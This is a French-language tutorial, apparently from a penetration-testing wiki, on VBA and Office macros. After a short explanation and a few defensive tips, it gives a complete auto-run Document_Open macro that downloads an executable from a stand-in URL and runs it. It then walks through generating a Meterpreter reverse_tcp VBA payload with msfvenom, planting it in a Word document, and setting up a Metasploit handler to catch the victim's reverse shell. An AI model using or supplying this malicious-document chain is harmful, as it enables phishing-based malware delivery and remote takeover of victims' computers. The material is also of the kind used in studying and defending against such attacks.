☄️VBA et MACROS

📝 VBA (Visual Basic pour Applications)

Visual Basic pour Applications (VBA) est un langage de programmation intégré aux applications de la suite Microsoft Office. Il permet aux utilisateurs de créer des macros pour automatiser des tâches et personnaliser les fonctionnalités des applications Office.

💼 Automatisation des Tâches

Imaginons que tu veux faire quelque chose de répétitif dans Excel, comme calculer des totaux ou formater des données. Plutôt que de le faire manuellement à chaque fois, tu peux écrire un petit programme en VBA qui le fera pour toi automatiquement.

🔧 Fonctionnalités Avancées

VBA te permet également d'aller plus loin en accédant à des fonctionnalités avancées, comme l'interface de programmation d'applications Windows (API), ce qui te donne encore plus de contrôle sur ce que tu peux faire avec tes applications Microsoft Office.

Utilisation de VBA pour les Macros

🤖 Qu'est-ce qu'une Macro ?

Une macro est un ensemble d'instructions ou de commandes écrites en VBA, enregistrées et stockées dans une application Office. Les macros permettent d'automatiser des tâches répétitives ou complexes, comme la création de rapports, le formatage de données, etc.

Les macros sont souvent créées en enregistrant une série d'actions effectuées dans l'application Office. Cependant, les attaquants peuvent également créer des macros malveillantes pour compromettre les systèmes cibles.

⚠️ Risques liés aux Macros Malveillantes

Les attaquants utilisent les macros dans les documents Office (comme Word ou Excel) pour infecter les ordinateurs :

  • Phishing : Ils envoient des e-mails persuasifs avec des pièces jointes contenant des documents Office. Lorsque les utilisateurs ouvrent ces documents, ils sont incités à activer les macros, déclenchant ainsi l'exécution du code malveillant.

  • Exploitation de Failles : Les attaquants exploitent les faiblesses des logiciels pour exécuter automatiquement des macros sans l'interaction de l'utilisateur. Cela peut se produire lorsque les applications Office ne sont pas correctement mises à jour.

🛡️ Mesures de Sécurité

Pour se protéger, il est crucial de :

  • Ne pas ouvrir de pièces jointes provenant de sources non fiables.

  • Désactiver les macros par défaut dans les paramètres de sécurité des applications Office.

  • Maintenir à jour les logiciels et les systèmes pour corriger les failles de sécurité connues.

📎 Exemple

Dans ce code, la macro Document_Open est automatiquement déclenchée lorsque le document Word est ouvert. Elle télécharge ensuite le fichier à partir de l'URL spécifiée et l'exécute automatiquement s'il est téléchargé avec succès.

Private Sub Document_Open() 
Dim strFileURL As String 
Dim strSavePath As String

' URL du fichier à télécharger
strFileURL = "http://exemple.com/fichier_malveillant.exe"

' Chemin de sauvegarde du fichier téléchargé
strSavePath = "C:\Users\Utilisateur\Téléchargements\fichier_malveillant.exe"

' Téléchargement du fichier
With CreateObject("MSXML2.ServerXMLHTTP")
    .Open "GET", strFileURL, False
    .send
    If .Status = 200 Then
        With CreateObject("ADODB.Stream")
            .Open
            .Type = 1 ' binaire
            .write .responseBody
            .SaveToFile strSavePath, 2 ' écraser le fichier existant
            .Close
        End With
    End If
End With

' Vérifier si le fichier a été téléchargé avec succès
If Dir(strSavePath) <> "" Then
    ' Exécution du fichier téléchargé
    Shell strSavePath, vbNormalFocus
Else
    MsgBox "Le téléchargement du fichier a échoué."
End If
End Sub

Ou sinon vous pouvez utilisez le module de Metasploit

📻 Création de la Charge Utile Meterpreter

  1. Utilisation de msfvenom : Utilisez msfvenom pour générer la charge utile Meterpreter en spécifiant l'adresse IP de votre machine (LHOST) et le port d'écoute (LPORT) :

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attack_IP LPORT=443 -f vba
  2. Enregistrement de la Macro : Copiez le résultat de la charge utile et enregistrez-le dans l'éditeur de macros de MS Word.

  3. Remplacer Workbook_Openpart Document_Open

    La substitution de Document_Open par Workbook_Open est justifiée en fonction du contexte d'utilisation.

    • Document_Open est un événement déclenché lorsqu'un document Word est ouvert.

    • Workbook_Open est un événement déclenché lorsqu'un classeur Excel est ouvert.

📺 Configuration de Metasploit

  1. Démarrage de Metasploit : msfconsole -q.

  2. Utilisation du Module d'Écoute : Utilisez le module exploit/multi/handler pour configurer Metasploit en tant qu'écouteur :

    use exploit/multi/handler
  3. Configuration du Payload : Définissez le payload sur windows/meterpreter/reverse_tcp :

    set payload windows/meterpreter/reverse_tcp
  4. Spécification de l'Adresse IP et du Port : Configurez l'adresse IP de votre machine (LHOST) et le port d'écoute (LPORT) :

    set LHOST attack_IP
    set LPORT 443
  5. Exploitation : Lancez l'exploit pour démarrer l'écoute et attendre la connexion d'une session Meterpreter :

    exploit

Réception du reverse Shell

Une fois que le document MS Word malveillant est ouvert sur la machine victime, une session Meterpreter devrait être établie. Vous pouvez alors exécuter des commandes pour interagir avec le système victime.


🔨 Tools

Last updated